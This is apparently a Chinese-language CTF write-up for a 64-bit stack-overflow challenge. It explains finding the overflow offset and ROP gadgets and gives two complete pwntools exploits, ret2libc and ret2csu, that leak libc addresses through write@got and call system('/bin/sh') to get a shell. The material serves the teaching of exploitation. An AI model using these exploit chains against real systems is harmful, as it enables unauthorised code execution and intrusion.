HappyNewYearCTF_8_ret2csu
-
- 题目分析
- [Exp1: ret2libc](#Exp1: ret2libc)
- [Exp2: ret2csu](#Exp2: ret2csu)
题目地址:https://ctf.cssec.cc/games/25/challenges
Author: Sonder
Difficulty: Normal
Category: ROP
- 泄露已被解析的函数地址,从而计算出libc基地址
- 通过libc基地址计算出
system()和'/bin/sh'的真实地址- 通过ROP劫持程序执行流
题目分析
首先还是老规矩,看下保护情况,可见无canary,无PIE, 开搞!

拖进IDA,我们来看下逻辑,可以看到核心代码如下。
- 输出HelloWorld
- 调用vul_func,然后read

这里溢出点也是很明确的。

然后开始测试,通过cyclic,获取其溢出点位置

pwndbg> cyclic -l 0x6161616161616172
Finding cyclic pattern of 8 bytes: b'raaaaaaa' (hex: 0x7261616161616161)
Found at offset 136
可以得到其偏移为136。进一步,按照上一篇文章中的思路,我们获取到plt和got
➜ 8_ret2csu objdump -d ./8_ret2csu | grep -n "<write@plt>"
23:0000000000400430 <write@plt>:
152: 4005a5: e8 86 fe ff ff call 400430 <write@plt>

最终可得:
py
read_got = p64(0x601020)
write_got = p64(0x601018)
write_plt = p64(0x400430)
然后继续来看pop链,毕竟我们需要进一步构造Write的参数
看了下这题好像有点问题,正常来说ret2csu是为了控制RDX,但本题RDX默认给的200,也就是足够溢出,所以没管他,那只需要构造RDI、RSI即可。
RDI = 1
RSI = write@got

其实相比较于上题就多了一个RDI的构造,通过ROPgadget,我们也能轻易找到pop rdi。
bash
➜ 8_ret2csu ROPgadget --binary 8_ret2csu | grep rdi
/usr/local/bin/ROPgadget:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
__import__('pkg_resources').run_script('ropgadget==7.7', 'ROPgadget')
0x0000000000400546 : cmp dword ptr [rdi], 0 ; jne 0x400550 ; jmp 0x4004e0
0x0000000000400545 : cmp qword ptr [rdi], 0 ; jne 0x400550 ; jmp 0x4004e0
0x0000000000400623 : pop rdi ; ret
Exp1: ret2libc
那综上所述,题目就好做了,直接开搞,照着上一题的脚本,照猫画虎,详细注释版如下:
py
from pwn import *
# =======================
# 基础环境配置
# =======================
# 指定 pwntools 在 tmux 中分屏打开 gdb
context.terminal = ['tmux', 'splitw', '-h']
# 打开 debug 日志,方便观察 send / recv / ROP 执行过程
context.log_level = 'debug'
HOST = 'challenges.ctf.cssec.cc'
PORT = 32794
# 远程环境(比赛 / 实际利用)
r = remote(HOST, PORT)
# 本地调试(需要时切换)
# r = process('./8_ret2csu')
# =======================
# gdb 调试(可选)
# =======================
# 在关键地址下断点,观察 ROP 执行情况
# gdb.attach(r, gdbscript='''
# b *0x400586
# c
# ''')
# =======================
# ROP 相关地址准备
# =======================
# GOT 表项:用于泄露 libc 中真实地址
read_got = p64(0x601020)
write_got = p64(0x601018)
# write@plt:程序中 write 的 PLT 跳板(可执行入口)
write_plt = p64(0x400430)
# 常用寄存器控制 gadget
pop_rdi = p64(0x400623) # pop rdi ; ret ------ 设置第一个参数
pop_rsi = p64(0x400621) # pop rsi ; pop r15 ; ret ------ 设置第二个参数
pop_ret = p64(0x400419) # ret ------ 用于 64 位栈对齐
# main 函数地址
# 每次泄露完成后返回 main,方便再次触发输入
main_func = p64(0x400587)
# =======================
# 第一阶段:泄露 write@got
# =======================
# 等待程序初始输出
r.recvuntil('Hello, World\n')
# padding:覆盖到返回地址
exp = b'a' * 136
# 设置 RSI = write@got
# 让 write 输出 write@got 中存放的真实地址
exp += pop_rsi
exp += write_got
exp += p64(0xcc) # 填充 pop r15,对利用无影响
# 设置 RDI = 1(stdout)
exp += pop_rdi
exp += p64(0x1)
# 调用 write(1, write@got, ?)
exp += write_plt
# write 执行完后返回 main,继续下一轮输入
exp += main_func
# 发送 payload
r.sendline(exp)
# 接收 write 泄露的地址(这里直接读取 8 字节)
write_address = u64(r.recvn(8))
# =======================
# 第二阶段:泄露 read@got
# =======================
# 再次等待程序输出
r.recvuntil('Hello, World\n')
exp = b'a' * 136
# 设置 RSI = read@got
exp += pop_rsi
exp += read_got
exp += p64(0xcc) # 填充 pop r15
# 设置 RDI = 1(stdout)
exp += pop_rdi
exp += p64(0x1)
# 调用 write(1, read@got, ?)
exp += write_plt
# 返回 main,保持程序可控
exp += main_func
# 发送 payload
r.sendline(exp)
# 接收 read 的真实地址
read_address = u64(r.recvn(8))
# =======================
# 输出泄露结果
# =======================
print(f'write_address: {hex(write_address)}')
print(f'read_address: {hex(read_address)}')
# =======================
# 手动输入 libc 偏移
# =======================
# 偏移来自对应版本的 libc(readelf / nm / pwndbg / libc database)
# read 在 libc 中的偏移
read_libc = int(input("read:"), 16)
# system 在 libc 中的偏移
system_libc = int(input("system:"), 16)
# "/bin/sh" 字符串在 libc 中的偏移
binsh_libc = int(input("binsh:"), 16)
# 通过 read 的真实地址计算 libc 基址
base_addr = read_address - read_libc
# 计算 system 和 "/bin/sh" 的真实地址
system_addr = base_addr + system_libc
binsh_addr = base_addr + binsh_libc
print(f'system_addr: {hex(system_addr)}')
print(f'binsh_addr: {hex(binsh_addr)}')
# =======================
# 第三阶段:ret2libc 获取 shell
# =======================
exp = b'a' * 136
# 等待程序再次输出
r.recvuntil(b'Hello, World\n')
# 留一个 input,方便此时 attach gdb 或手动确认状态
input()
# 设置 RDI = "/bin/sh" 的地址
exp += pop_rdi
exp += p64(binsh_addr)
# 插入一个 ret,用于 64 位栈 16 字节对齐
exp += pop_ret
# 跳转到 system("/bin/sh")
exp += p64(system_addr)
# (可选)system 返回后回到 main,避免程序立即崩溃
exp += main_func
# 发送最终 payload
r.sendline(exp)
# =======================
# 进入交互模式,获取 shell
# =======================
r.interactive()
Exp2: ret2csu
当然嘛,主要 为了学习,那肯定不能止步于此,继续来学习,什么是ret2csu,其思想是怎样呢?
根据CTFWiki介绍,在x64下,默认存在libc初始化的方法,即__libc_csu_init,其内部包含了众多可被使用的Gadgets。
objdump -d ./8_ret2csu | grep -n "__libc_csu_init"
首先我们先定位到其位置,可以看到该函数做了很多栈操作。

在这里,我们利用思路通常是
- 调用loc_400616(即第三段)
- ret到loc_400600 (即第二段)
- 构造rbx,rbp,使其继续执行第三段,并ret
- jnz 是条件跳转指令,当上一次比较结果"不为 0"时跳转。
思路有了,我们来看下参数怎么布置,首先分析一下pop链
assembly
loc_400600:
mov rdx, r13
mov rsi, r14
mov edi, r15d
call ds:[r12+rbx*8]
add rbx, 1
cmp rbx, rbp
jnz short loc_400600
loc_400616:
add rsp, 8
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retn
分析后,发现需要的参数如下:
sh
# 因为rbx+1后会和rbp进行比较,所以必须
# rbx = rbp - 1
rbx = 0
rbp = 1
# 构造call
r12+rbx*8 = 0x601018# write@got
r12 = 0x601018
RSI = 0x601018 # write@got <- mov rsi, r14
RDI = 1 # mov edi, r15d
RDX = 8 # mov rdx, r13
构造如下,即可实现调用csu,进而输出write@got,
py
exp += p64(0x400616) # jmp addr -> csu第一阶段,即第二部分
exp += p64(0x5a33) # add rsp, 8;
exp += p64(0x0) # pop rbx ; rbx = 0
exp += p64(0x1) # pop rbp ; rbp = 1
exp += p64(write_got) # pop r12 ; r12 = 0x601018 ; 需要调用的函数
exp += p64(0x8) # pop r13 ; rdx = 8
exp += p64(write_got) # pop r14 ; rsi = 0x601018 ; 需要输出的参数
exp += p64(0x1) # pop r15 ; rdi = 1
exp += p64(0x400600) # ret addr -> csu第二阶段,即第一部分
exp += p64(0xcc) * 7 # 用于csu第二部分pop, 确保值不影响
同理,其实read@got,也可以通过这种方式输出,我们只需要改rsi即可。在这里我们有两个选择
- rsu执行完后,ret到main,再次溢出一次rsu输出read
- rsu执行完后,ret到rsu第一部分,直接输出read
在这里,我们选择第二种,这样会省很多步骤,也就是我们将上述代码最后一行pop 7个废弃内容,改成我们要布置的栈即可。最终gadgets如下,可成功输出write与read的真实地址
py
exp += p64(0x400616) # jmp addr -> csu第一阶段,即第二部分
exp += p64(0x5a33) # add rsp, 8;
exp += p64(0x0) # pop rbx ; rbx = 0
exp += p64(0x1) # pop rbp ; rbp = 1
exp += write_got # pop r12 ; r12 = 0x601018
exp += p64(0x8) # pop r13 ; rdx = 8
exp += write_got # pop r14 ; rsi = write_got
exp += p64(0x1) # pop r15 ; rdi = 1
exp += p64(0x400600) # ret addr -> csu第二阶段,即第一部分
# 清栈,顺道出read_got
exp += p64(0x5a33) # add rsp, 8;
exp += p64(0x0) # pop rbx ; rbx = 0
exp += p64(0x1) # pop rbp ; rbp = 1
exp += write_got # pop r12 ; r12 = 0x601018
exp += p64(0x8) # pop r13 ; rdx = 8
exp += read_got # pop r14 ; rsi = read_got
exp += p64(0x1) # pop r15 ; rdi = 1
exp += p64(0x400600) # ret addr -> csu第二阶段,即第一部分
exp += p64(0x1) *7 # pop r15 ; rdi = 1
# write 执行完后返回 main,继续下一轮输入
exp += main_func

如上图,可以看到正常运行了,那接下来,按照exp1继续补后面内容即可,完整脚本如下:
py
from pwn import *
# =======================
# 基础环境配置
# =======================
# 指定 pwntools 在 tmux 中分屏打开 gdb
context.terminal = ['tmux', 'splitw', '-h']
# 打开 debug 日志,方便观察 send / recv / ROP 执行过程
# context.log_level = 'debug'
HOST = 'challenges.ctf.cssec.cc'
PORT = 32794
# 远程环境(比赛 / 实际利用)
# r = remote(HOST, PORT)
# 本地调试(需要时切换)
r = process('./8_ret2csu')
# =======================
# gdb 调试(可选)
# =======================
# 在关键地址下断点,观察 ROP 执行情况
# gdb.attach(r, gdbscript='''
# b *0x400616
# c
# ''')
# =======================
# ROP 相关地址准备
# =======================
# GOT 表项:用于泄露 libc 中真实地址
read_got = p64(0x601020)
write_got = p64(0x601018)
# write@plt:程序中 write 的 PLT 跳板(可执行入口)
write_plt = p64(0x400430)
# 常用寄存器控制 gadget
pop_rdi = p64(0x400623) # pop rdi ; ret ------ 设置第一个参数
pop_rsi = p64(0x400621) # pop rsi ; pop r15 ; ret ------ 设置第二个参数
pop_ret = p64(0x400419) # ret ------ 用于 64 位栈对齐
# main 函数地址
# 每次泄露完成后返回 main,方便再次触发输入
main_func = p64(0x400587)
# =======================
# 第一阶段:泄露 write@got
# =======================
# 等待程序初始输出
r.recvuntil(b'Hello, World\n')
# padding:覆盖到返回地址
exp = b'a' * 136
exp += p64(0x400616) # jmp addr -> csu第一阶段,即第二部分
exp += p64(0x5a33) # add rsp, 8;
exp += p64(0x0) # pop rbx ; rbx = 0
exp += p64(0x1) # pop rbp ; rbp = 1
exp += write_got # pop r12 ; r12 = 0x601018
exp += p64(0x8) # pop r13 ; rdx = 8
exp += write_got # pop r14 ; rsi = write_got
exp += p64(0x1) # pop r15 ; rdi = 1
exp += p64(0x400600) # ret addr -> csu第二阶段,即第一部分
# 清栈,顺道出read_got
exp += p64(0x5a33) # add rsp, 8;
exp += p64(0x0) # pop rbx ; rbx = 0
exp += p64(0x1) # pop rbp ; rbp = 1
exp += write_got # pop r12 ; r12 = 0x601018
exp += p64(0x8) # pop r13 ; rdx = 8
exp += read_got # pop r14 ; rsi = read_got
exp += p64(0x1) # pop r15 ; rdi = 1
exp += p64(0x400600) # ret addr -> csu第二阶段,即第一部分
exp += p64(0x1) *7 # pop r15 ; rdi = 1
# write 执行完后返回 main,继续下一轮输入
exp += main_func
# 发送 payload
r.sendline(exp)
# 接收 write 泄露的地址(这里直接读取 8 字节)
write_address = u64(r.recvn(8))
print(f'write_address: {hex(write_address)}')
read_address = u64(r.recvn(8))
print(f'read_address: {hex(read_address)}')
# =======================
# 手动输入 libc 偏移
# =======================
# 偏移来自对应版本的 libc(readelf / nm / pwndbg / libc database)
# read 在 libc 中的偏移
read_libc = int(input("read:"), 16)
# system 在 libc 中的偏移
system_libc = int(input("system:"), 16)
# "/bin/sh" 字符串在 libc 中的偏移
binsh_libc = int(input("binsh:"), 16)
# 通过 read 的真实地址计算 libc 基址
base_addr = read_address - read_libc
# 计算 system 和 "/bin/sh" 的真实地址
system_addr = base_addr + system_libc
binsh_addr = base_addr + binsh_libc
print(f'system_addr: {hex(system_addr)}')
print(f'binsh_addr: {hex(binsh_addr)}')
# =======================
# 第三阶段:ret2libc 获取 shell
# =======================
exp = b'a' * 136
# 等待程序再次输出
r.recvuntil(b'Hello, World\n')
# 留一个 input,方便此时 attach gdb 或手动确认状态
input()
# 设置 RDI = "/bin/sh" 的地址
exp += pop_rdi
exp += p64(binsh_addr)
# 插入一个 ret,用于 64 位栈 16 字节对齐
# exp += pop_ret
# 跳转到 system("/bin/sh")
exp += p64(system_addr)
# (可选)system 返回后回到 main,避免程序立即崩溃
exp += main_func
# 发送最终 payload
r.sendline(exp)
# =======================
# 进入交互模式,获取 shell
# =======================
r.interactive()
